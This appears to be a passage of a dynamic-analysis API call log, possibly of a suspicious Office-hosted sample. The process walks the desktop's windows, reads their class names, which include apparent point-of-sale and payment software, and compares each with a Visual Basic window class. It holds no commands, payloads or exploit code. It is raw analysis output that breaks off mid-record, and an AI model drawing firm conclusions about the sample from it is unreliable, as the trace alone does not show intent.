0x101e8 [0088.632] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0088.632] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0088.632] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0088.632] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0088.632] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0088.632] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0088.632] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0088.632] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0088.632] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0088.633] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0088.633] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0088.633] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0088.633] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0088.633] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0088.633] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0088.633] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0088.633] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0088.633] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0088.633] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0088.633] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0088.633] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0088.633] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0088.633] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0088.633] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0088.633] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0088.633] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0088.634] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0088.634] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0088.634] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0088.634] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0088.634] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0088.634] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0088.634] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0088.634] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0088.634] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0088.634] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0088.634] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0088.634] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0088.634] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0088.634] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0088.634] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0088.634] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0088.634] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0088.635] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0088.635] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0088.635] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0088.635] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0088.635] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0088.635] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0088.635] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0088.635] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0088.635] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0088.635] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0088.635] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0088.635] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0088.635] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0088.635] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0088.635] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0088.635] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0088.636] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0088.636] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0088.636] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0088.636] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0088.636] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0088.636] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0088.636] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0088.636] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0088.636] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0088.636] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0088.636] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0088.636] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0088.636] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0088.636] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0088.636] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0088.636] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0088.636] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0088.637] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0088.637] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0088.637] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0088.637] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0088.637] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0088.637] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0088.637] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0088.637] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0088.637] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0088.637] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0088.637] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0088.637] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0088.637] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0088.637] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0088.637] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0088.637] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0088.638] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0088.638] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0088.638] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0088.638] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0088.638] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0088.638] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0088.638] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0088.638] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0088.638] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0088.638] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0088.638] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0088.638] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0088.638] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0088.638] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0088.638] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0088.638] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0088.638] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0088.639] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x20352 [0088.639] GetWindow (hWnd=0x20352, uCmd=0x2) returned 0x302d8 [0088.639] GetWindow (hWnd=0x302d8, uCmd=0x2) returned 0x302d6 [0088.639] GetWindow (hWnd=0x302d6, uCmd=0x2) returned 0x100ec [0088.639] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0088.639] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7da0150 [0088.639] IMalloc:Free (This=0x7fefecb5380, pv=0x7da0150) [0091.715] GetAsyncKeyState (vKey=27) returned 0 [0091.715] GetCurrentThreadId () returned 0xbdc [0091.715] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0091.715] GetDesktopWindow () returned 0x10010 [0091.715] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0091.716] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0091.716] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0091.716] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0091.716] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0091.716] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0091.716] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0091.716] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0091.716] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0091.716] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0091.716] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0091.716] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0091.716] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0091.716] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0091.716] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0091.716] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0091.717] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0091.717] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0091.717] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0091.717] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0091.717] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0091.717] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0091.717] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0091.717] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0091.717] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0091.717] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0091.717] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0091.717] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0091.717] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0091.717] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0091.717] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0091.717] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0091.717] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0091.717] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0091.717] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0091.717] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0091.717] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x20360 [0091.717] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0091.717] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0091.717] IsWindowEnabled (hWnd=0x20360) returned 0 [0091.717] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0091.717] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0091.717] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0091.718] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0091.718] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0091.718] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0091.718] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0091.718] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0091.718] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0091.718] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0091.718] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0091.718] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0091.718] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0091.718] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0091.718] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0091.718] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0091.718] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0091.718] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0091.718] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0091.718] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0091.718] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0091.718] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0091.718] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0091.718] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0091.718] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0091.719] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0091.719] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0091.719] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.719] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0091.719] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0091.719] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0091.719] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0091.719] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0091.719] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.719] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0091.719] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.719] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0091.719] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0091.719] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0091.719] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0091.719] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0091.719] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0091.719] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.719] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0091.719] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0091.719] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0091.719] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0091.719] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0091.719] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0091.719] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.719] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.719] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.719] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0091.720] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0091.720] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.720] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0091.720] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0091.720] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.720] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0091.720] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.720] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.720] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0091.720] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.720] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.720] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0091.720] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0091.720] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.720] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0091.720] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0091.720] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0091.720] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0091.720] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.720] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0091.720] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0091.720] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0091.720] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0091.720] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0091.720] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0091.720] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0091.721] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0091.721] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0091.721] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.721] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0091.721] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0091.721] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0091.721] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0091.721] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0091.721] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.721] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0091.721] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0091.721] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0091.721] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0091.721] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0091.721] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.721] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0091.721] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0091.721] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0091.721] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0091.721] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0091.721] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.721] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.721] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0091.721] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0091.721] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0091.721] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0091.722] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0091.722] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.722] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0091.722] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0091.722] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0091.722] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0091.722] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0091.722] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.722] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0091.722] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0091.722] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0091.722] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0091.722] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0091.722] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.722] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0091.722] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0091.722] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0091.722] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0091.722] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0091.722] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0091.722] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0091.722] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0091.722] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0091.722] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0091.722] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0091.723] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: 